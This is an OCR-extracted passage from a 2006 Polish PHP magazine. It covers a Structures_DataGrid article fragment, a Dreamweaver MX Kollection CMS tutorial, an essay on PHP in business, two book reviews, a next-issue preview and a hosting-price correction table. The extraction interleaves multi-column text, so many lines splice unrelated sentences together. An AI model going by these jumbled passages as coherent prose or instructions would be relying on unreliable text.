wartości atrybutów będą automatycznie przekazywane konstruktorowi tej klasy to i pracochłonych zajęć obejmujących
ustawiane przy każdym utworzeniu tytuł kolumny oraz nazwa pola, z którym pobieranie, przetwarzanie i prezentację
jej obiektu. Kod nowej klasy, którą na- kolumna ma być skojarzona. Konstruktor danych tabelarycznych, pozwala mu się
zwiemy myDataGrid, przedstawiamy na może też przyjmować inne argumenty, skupić na innych aspektach programo-
Listingu 5. określające między innymi ustawienia wania, takich jak logika biznesowa. W tym
Odtąd możemy tworzyć obiekty typu formatowania, atrybuty tabeli, wartości artykule przedstawiliśmy podstawowe
myDataGrid, zawierające określone w de- wstawiane automatycznie, opcje sorto- możliwości rozszerzenia Structures_
finicji klasy atrybuty prezentacji i stanowią- wania, itd. DataGrid, dając Ci solidną podstawę do
ce punkt wyjścia dla wszystkich datagridów Zdefiniujmy specjalne formatowanie dalszej pracy z tym narzędziem. Pokaza-
stosowanych w danej aplikacji. dla obu kolumn. Posłuży nam do tego ne przez nas przykłady stanowią świetny
metoda Setformatter(). Za jej pomocą punkt wyjścia do dalszego, samodzielne-
Dodawanie kolumn wskażemy metody, które posłużą do sfor- go poznawania potężnych i fascynujących
Kolumny datagridu są w rzeczywistości matowania tych kolumn (Listing 7). Zmien- możliwości Structures_DataGrid.
instancjami klasy Structures_DataGrid_ na $params odpowiada tablicy zawierającej
Column. Jak dotąd, nie musieliśmy bez- dane z bieżącego rekordu zbioru danych,
pośrednio korzystać z tej klasy, gdyż zapisywane w zmiennej $data, po czym
O autorze
Aaron Wormus programuje w PHP od
1999 r. Zajmował się tworzeniem rozwią-
zań intranetowych w Perlu i technologiach
pokrewnych. Aaron koncentruje się na
dostarczaniu przedsiębiorstwom wysokiej
jakości rozwiązań intranetowych i wyko-
rzystuje potęgę PHP w pracy konsultanta.
Rysunek 2. Arkusz Excela utworzony na podstawie wyeksportowanych danych Kontakt z autorem: aaron@wormus.com.
tabelarycznych
Rysunek 1. Struktura bazy danych CMS Rysunek 2. Lista dynamiczna z filtrami i sortowaniem
76
Stwórzmy listę artykułów: chcemy, aby użytkownicy musieli przewi-
jać ekranu tam i z powrotem za każdym Trwałość
Otwórz plik admin\view.php w programie razem. Włącz efekt mouse-over effect interfejsu użytkownika
Dreamweaver i uruchom kreator Create dla każdego wiersza, wyświetl wszystkie Jest to funkcja umożliwiająca zapamiętywanie
NeXTensio List Wizard z belki Insert. linki jako przyciski i ponumeruj wiersze. przez interfejsy wcześniejszych konfiguracji
remember, co oszczędza wiele czasu.
W pierwszym kroku powiemy kreatorowi, Upewnij się, że wszystkie opcje układu Trwałość można włączać i wyłączać z panelu
aby wyświetlał informacje z Table, wybie- graficznego są ustawione na Yes, a następ- InterAKT (belka Insert > zakładka MX Kollection).
rając utworzoną przez nas bazę, tabelę ar- nie kliknij Finish.
ticle_art oraz klucz główny id_art. Ponieważ InterAKT Dynamic Data
lista, którą tworzymy zawiera także prowa- Kreator sam utworzy wszystkie ustawienia Jest to graficzne narzędzie do wybierania
dynamicznych źródeł danych (pól rekordów,
dzące do formularza przyciski tworzenia, serwera, niezbędny kod HTML, JavaScript oraz
pól formularza, zmiennych sesji itp.). Jeżeli
edycji i usuwania artykułów, powinniśmy style CSS. Jeżeli przełączymy się do widoku dynamiczne źródło jest wybrane w ten sposób,
określić stronę zawierającą formularz kodu, zauważymy, że jest on zorientowany wygenerowany kod zawiera specjalny znacznik
– edit.php. Trzeba wreszcie wskazać kre- obiektowo i ma klasy wywoływane z folderu (na przykład {SESSION.kt_login_id}).
Pakiet MX Kollection jest zgodny z kilkoma typami
atorowi, aby wyświetlał 10 artykułów na includes w miarę potrzeb (należy pamiętać
serwerów – nie tylko PHP_MySQL – dzięki czemu
stronie; do wyświetlenia reszty artykułów o skopiowaniu tego folderu na serwer testowy znacznik ten będzie znaczyć to samo w przy-
będzie służyć dodana belka nawigacji. Te- przed obejrzenie strony w przeglądarce). Klik- padku ColdFusion i ASP_VBScript, a w dodatku jest
raz możemy przejść do następnego kroku, nięcie w dowolny przycisk przeniesie nas do łatwiejszy do zapamiętana.
klikając przycisk Next. pustej strony edit.php – tutaj właśnie stworzy-
Skonfigurujemy każde z pól listy w siatce my uniwersalny formularz, a raczej pojedynczy Oferta specjalna
Nowe sposoby wykorzystania MX Kollection do
w następujący sposób: formularz przechowujący wszystkie transak- zadań RAD można znaleźć na stronie: http://
cje: wprowadzanie, aktualizacje i usuwanie. www.interaktonline.com/cms. Jeżeli podoba Ci się
Dla pola idtop_art wprowadź Header pakiet MX Kollection i chcesz go mieć, oferujemy
“Temat” i pobierz jego wartość z tabeli TWORZENIE FORMULARZA ARTYKUŁU zniżkę w wysokości 100 USD. Wystarczy odwiedzić
następujący adres: http://www.interaktonline.com/
topic_top. Aby wyświetlać poprawne cmsbuy.
tematy, zamiat klucza obcego ustaw Otwórz stronę admin\edit.php w progra-
kolumnę Label na name_top, zaś ko- mie Dreamweaver uruchom kreator Create
lumnę Value na id_top. NeXTensio Form Wizard z belki Insert Następnie skonfigurujemy wszystkie
Dla pola idusr_art ustaw Header na (zakładka MX Kollection). Kreator pomoże pola formularza z siatki w następujący
“Autor” i pobierz jego wartości z tabeli automatycznie wygenerować formularz sposób:
user_usr. Będziemy wyświetlać imiona HTML, podłączyć go do transakcji bazy
autorów z kolumny name_usr, a odpo- danych (wprowadzanie, aktualizacje i usu- Dla pola idtop_art ustaw Etykietę na
wiednie wartości pobierzemy z kolum- wanie – insert, update, delete), ustawić „Temat” i wyświetl go jako menu. Po
ny id_usr. wartości domyślne pól i zdefiniować reguły kliknięciu przycisku Menu Properties
Pozostaw pola title_art i content_art walidacji. można zauważyć, że wartości menu
z wartościami domyślnymi. Zmień W pierwszym kroku ustawiamy połączenie są już poprawnie skonfigurowane
Header kolumny date_created_art na z bazą danych, wybieramy tabelę artic- i będą pobierane z rekordów. Dzięki
“Opublikowane”, a następnie przejdź le_art oraz klucz główny id_art. Przejdźmy trwałości interfejsu użytkownika nie
do następnego kroku. do następnego kroku. ma potrzeby definiowania nowych re-
kordów albo zmieniania czegokolwiek:
W tym kroku zdefiniujemy filtry listy. Zmień kreator przywołuje ustawienia pola
kolumnę idtop_art tak, aby była wyświetla- idtop_art tak, że jest ono wyświetlane
na jako menu – dzięki temu użytkownicy jako menu filtra listy. Zostanie ono
będą mogli z łatwością wybrać i wyświetlić
wszystkie artykuły z danej kategorii. Zrób
to samo z kolumną autorów, a resztę fil-
trów pozostaw jako pola tekstowe. Przejdź
do następnego kroku.
Teraz określimy układ listy. Artykuły po-
winny być ułożone według tytułu (title_art)
w porządku wstępującym. Można liście
przypisać arkusz CSS oraz zduplikować
przyciski i belkę nawigacyjną – przydaje
się to szczególnie, gdy lista jest długa i nie Rysunek 3. Konfiguracja kolumn listy Rysunek 4. Kreator generuje zachowania serwera
77
Zapiszmy strony, umieśćmy wszystkie pliki
na serwerze testowym, sprawdźmy działanie
listy oraz formularza. Można wprowadzać,
edytować i usuwać wiele artykułów naraz,
wybierając je z listy i klikając odpowiednie
przyciski (patrz Rysunek 6). Reguły walida-
cji zadziałają w przypadku każdego artykułu
z osobna.
O autorze
Marius Zaharia pracuje jako Documentation
Manager w firmie InterAKT Online, która tworzy
rozszerzenia do budowy dynamicznych stron
WWW w programie Macromedia Dreamweaver.
Poza pisaniem artykułów i tutoriali dla develope-
rów, bawi się nauką nowych rzeczy i odkrywaniem
nowych technologii. Do jego zainteresowań należą
programowanie aplikacji internetowych, polityka
i awangardowa muzyka elektroniczna.
Kontakt z autorem: mzaharia@interaktonline.com
Rysunek 6. Jednoczesna edycja wielu artykułów
78
zamówienie prenumeraty
Prosimy wypełnić czytelnie i przesłać faksem na numer: (22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,
Piaskowa 3, 01-067 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne: (22) 887 14 44
Dokładny adres....................................................................................................................................................................................................................
Suma
PHP: Hobby,
które przynosi zysk
Guillaume Ponçon
W
1995 roku Rasmus Lerdorf, frameworki, aplikacje i skrypty są liczne, Firma Zend planuje udostępnienie open-
bezrobotny informatyk szuka- niejednorodne i powtarzające się pod sourcowego frameworka wzorcowego dla
jący zatrudnienia, z zapałem względem funkcjonalności. PHP w roku 2006.
chwycił się zadania stworzenia prostego Dzisiaj, dzięki PHP, wiele profesjonal- Weźmy też pod uwagę, iż PHP
i szybkiego języka na potrzeby swojej nych projektów radzi sobie z poważnymi rozwijało się w oderwaniu od potrzeb
strony WWW, m.in. prezentacji umiesz- zadaniami i przynosi duże zyski. Te przed- i realiów przedsiębiorstw. I nic dziwnego:
czonego na niej CV oraz śledzenia sięwzięcia mają jeden wspólny element: jest dziełem pokaźnego grona grona de-
odwiedzin. Tak narodziła się pierwotna nieodzowną obecność przewodnika czyli weloperów-pasjonatów, którzy za darmo
wersja PHP, zwana Personal Home Page guru, który definiuje i nadzoruje architek- poświęcają mu swój czas. Pamiętajmy,
Tools. Po 10 latach istnienia, PHP święci turę i reguły rozwoju oprogramowania. Na że motywacja pracy wpływa na jej jakość:
tryumfy popularności: napisano w nim po- tym etapie, wprowadzenie PHP do firm PHP ma tu duży atut. Wadą takiego po-
nad 40% wszystkich aplikacji webowych, okazało się opłacalne i nie gwarantujące dejścia jest natomiast słabe przystoso-
jest używany na ok. 22 milionach domen stabilności. wanie do potrzeb firm. Twórcy PHP wzięli
internetowych, stanowiących więcej niż Ale społeczność PHP nie powiedziała sobie to do serca i począwszy od wersji
25% wszystkich stron WWW. PHP ma jeszcze ostatniego słowa: przystosowanie PHP4 starają się coraz lepiej zaspokoić
też jedną z najprężniejszych społeczności PHP do warunków panujących w firmie wymagania biznesu. Dowodem są roz-
opensourcowych na świecie. jest głównym celem wyłaniającego się wiązania klasy Enterprise dla PHP4, takie
Założenia PHP są niezmienne: jego powoli PHP6! Możliwe stanie się wymu- jak CMS eZ publish. Ich liczba znacznie
największą zaletą jest i ma być prostota. szenie przestrzegania pewnych konwen- wzrosła wraz z nadejściem PHP5. Jakie
Dodatkowo, w wersji 5, jak i zapowia- cji, takich jak: zachowanie wielkości liter więc będzie PHP6? Czas pokaże: jeśli
danym wydaniu szóstym PHP staje się w nazwach funkcji, składnia klas, stoso- zapowiedzi zostaną zrealizowane, to
językiem zorientowanym na potrzeby pro- wanie przestrzeni nazw, obowiązkowe będziemy mogli mówić o jednej z naj-
fesjonalistów i biznesu: zaczynamy mówić używanie wyjątków, przejście na stan- trwalszych i najłatwiejszych do wdrożenia
o platformie programistycznej. Obecny dard Unicode, itd. Dużym plusem będzie platform programistycznych. Czekamy
rozwój PHP opiera się na aktywnym słu- również łatwiejsza i bardziej niezadowna z niecierpliwością!
chaniu i rozumieniu ogółu użytkowników, instalacja.
do grona których zalicza się coraz więcej Wreszcie, istniejące rozszerzenia
doświadczonych deweloperów i architek- PHP rozwijają się powoli, ale skutecznie.
tów, tworzących na potrzeby przedsię- Natomiast niewiele spośród tworzonych
biorstw. w PHP aplikacji posiada doświadczoną
Nie wszystko jednak wygląda tak i prężną społeczność. A od współpracy O autorze
różowo. Choć zarówno programowanie ze społecznością zależy sukces nasze- Guillaume Ponçon jest architektem
obiektowe, jak i obsługa wyjątków oferuje go przedsięwzięcia: inaczej będziemy i dewoloperem PHP w firmie Anaska.
Jest również prelegentem i ściśle współ-
ogromne możliwości, potrzebne są pewne musieli polegać na plątaninie małych,
pracuje z firmą Zend Technologies.
rygory tworzenia i organizacji kodu, czego niezgodnych ze sobą, efemerycznych Działa w różnych stowarzyszeniach
nie ułatwia skrajna elastyczność PHP. aplikacji, odkrywając po raz kolejny Ame- PHP, m.in. we Francuskim Stowarzy-
W przeciwieństwie do J2EE czyh .NET, rykę. Zespół Zend Technologies dobrze szeniu Użytkowników PHP (AFUP).
Napisał książkę Best Practices PHP5.
w PHP nie ma standardów, których trze- zna ten problem, ponieważ ma coraz
Kontakt z autorem: guillaume@anaska.fr
ba się trzymać. Dostępne w tym języku większą styczność ze światem biznesu.
Systemy baz danych nie są właściwie książką o bazach danych, lecz skryptem akademickim do przedmiotu o takiej nazwie. Chociaż
ponad 500 stron wypełnionych jest informacjami, książka nie dostarczy żadnej praktycznej wiedzy ani umiejętności, z wyjatkiem być
może umiejętności zdania egzaminu zrobionego na jej podstawie.
Jak większość naukowców autor nie darowuje sobie rozpoczęcia książki od serii klasyfikacji i definicji, na przykład: Dana, jako
jednostka danych, jest to jeden lub kilka symboli użytych do reprezentowania czegoś. A także historii prezentowanej dziedziny: Ludzie
przechowywali dane od wielu tysięcy lat. Na przykład pierwszy znany zapis opisujący majątek królewski i podatki w Sumerze pocho-
dzi z ok. 4000 r. p.n.e. Pojawiają się też naukowo brzmiące, lecz jawnie nieprawdziwe twierdzenia, jak: System informacyjny jest to
system, który dostarcza dane dla przedsiębiorstwa lub jego części (czy tylko przedsiębiorstwa mogą mieć systemy informacyjne?!).
Tego rodzaju wata nie jest tylko dodatkiem do książki – szacunkowo biorąc stanowi około połowy jej objętości, w wypadkach nie-
których rozdziałów (np. multimedialne bazy danych i bazy danych w Internecie) mamy do czynienia wyłącznie z trocinami.
Z punktu widzenia studenta Systemy bazy danych będą jeszcze jedną nieinspirującą lekturą do wykorzystania w systemie
Zakuć, Zdać, Zapomnieć. Jeżeli po książkę sięgnie średnio doświadczony autor aplikacji bazodanowych, znajdzie w
niej trochę rodzynków – między innymi podstawowe informacje o fizycznej organizacji danych w plikach i indekso-
waniu (pozbawione niestety jakichkowiek przykładów pozwalających wykorzystać tę wiedzę do optymalizacji bazy),
opis obiektowych baz danych (w sumie pięć stron), bardzo dobrze opisane teoretycznie podstawy relacyjnych baz
danych (ciekawsze problemy, takie jak operacje na strukturach rekurencyjnych, są tylko zasygnalizowane) i ich nor-
malizacji.
Systemy baz danych są starannie zredagowane, jednak tłumacz nie miał chyba praktycznego kontaktu z informatyką;
niektóre fragmenty są tłumaczone bez zrozumienia, na przykład termin interfejs w postaci wspólnej bramy (ktoś zgadł? cho-
dziło o standard CGI). Książkę mogę polecić tylko jako uzupełnienie wykładu lub dobrych zajęć praktycznych, i to raczej nie
informatykom.
Filip Dreger
Jest taki rodzaj artykułu w prasie komputerowej, często goszczący także na łamach PHP Solutions. Redaktorzy nazywają go
KPKNKP, czyli Krok Po Kroku Na Konkretnym Przykładzie. Mówiąc krótko, książka PHP5 i MySQL – Zastosowania e-commerce jest
takim właśnie arykułem, tylko że o długości bitych 526 stron. Stosowniejszy byłby podtytuł Jedno zastosowanie e-commerce, bo cała
lektura – rzeczywiście szczegółowo – opisuje proces budowy pojednyczego sklepu internetowego.
Autorzy PHP5 i MySQL – Zastosowania e-commerce nie potrafili się zdecydować, dla kogo przeznaczona jest książka. W pierwszym
rozdziale obszerny fragment poświecony jest wyjaśnianiu, czym w ogóle jest język PHP, co sugeruje czytelnika bardzo początkującego.
Z tym że od razu na początku drugiego rozdziału autorzy... znienacka pokazują fragment kodu PHP z lakonicznym opisem: utworzono
tu klasę Page dziedziczącą z klasy Smarty. Wszystkie instrukcje inicjujące pracę kodu zostały więc zamieszczone w konstruktorze kla-
sy Page. Milczące założenie jest – jak rozumiem – takie, że między przeczytaniem rozdziału pierwszego a drugiego czytelnik
wkuł jakiś podręcznik PHP5?
Mimo potknięć redakcyjnych lektura PHP5 i MySQL – Zastosowania e-commerce sprawiła mi przyjemność, a książkę
uważam za potrzebną i pożyteczną. W odróżnieniu od tysięcy innych samouczków LAMP tutaj mamy do czynienia z podej-
ściem nastawionym na praktyczne opisanie pracy nad większym projektem: autorzy kładą nacisk na dobrą architekturę cało-
ści, a w kolejnych rozdziałach nie pomijają nawet szczegółowego opisu obsługi płatności kartą kredytową (w dwóch różnych
systemach, więc przełożenie instrukcji na polskie realia nie jest trudne) i współpracy z Amazon.com z użyciem Web Services.
Proponowana architektura sklepu nosi indywidualne piętno jej twórców – w niektórych kwestiach zgadzam się z nimi
(porównanie wywołań REST i SOAP), w niektórych chętnie bym polemizował (uzasadnienie dla użycia szablonów SMAR-
TY), ale trzeba przyznać, że każdy początkujący programista – o ile ma już opanowane podstawy PHP5 – znajdzie w
książce dużo rzetelnej wiedzy.
Filip Dreger
W następnym numerze
PHP Solutions 3/2006(14)
TECHNIKI
Streaming Audio w PHP – Karl Vollmer,
twórca projektu Ampache prezentuje Streaming
Audio w PHP. Autor pokaże, jak stworzyć apli-
kację, która będzie w stanie wykonywać takie
operacje jak transcoding, downsampling
i stream seeking, także przy użyciu HTTPS.
NARZĘDZIA
PhpBeans – środowisko i specyfikacja do
tworzenia wielowarstwowych aplikacji klasy
Enterprise. Pokażemy zalety oprogramowania
tworzonego przy użyciu phpBeans i przedstawi-
my jego integrację z frameworkiem PRADO.
PROJEKTY
EyeOS – Web Based Desktop System – Inter-
net na biurku czy biurko w Internecie? Przedsta-
wimy wnętrze i mechanizmy działania systemu
EyeOS – czyli webowego systemu operacyjne-
go napisanego m.in. w PHP, rozwijanego przez
społeczność na zasadach Open Source.
Sprostowanie do artykułu pt. „Porównanie ofert polskich firm hostingowych“ z poprzedniego numeru PHP Solutions
Limit transferu Obsługa baz Ceny Lokalizacja
Firma Usługa Powierzchnia Restrykcje ilościowe
(roczny) danych (netto) serwera
Bazy Kont Domen / Baz Postgre- Abonament
FTP Poczta Serwisów Kont FTP MySQL
Danych e-mail Subdomen danych SQL Roczny
Nazwa (nazwa.pl) Active 5 GB 300 GB b.o. b.o. b.o. 1 b.o. Tak Tak 300
Polska
Pro 10 GB 600 GB b.o. b.o. b.o. 1 b.o. Tak Tak 600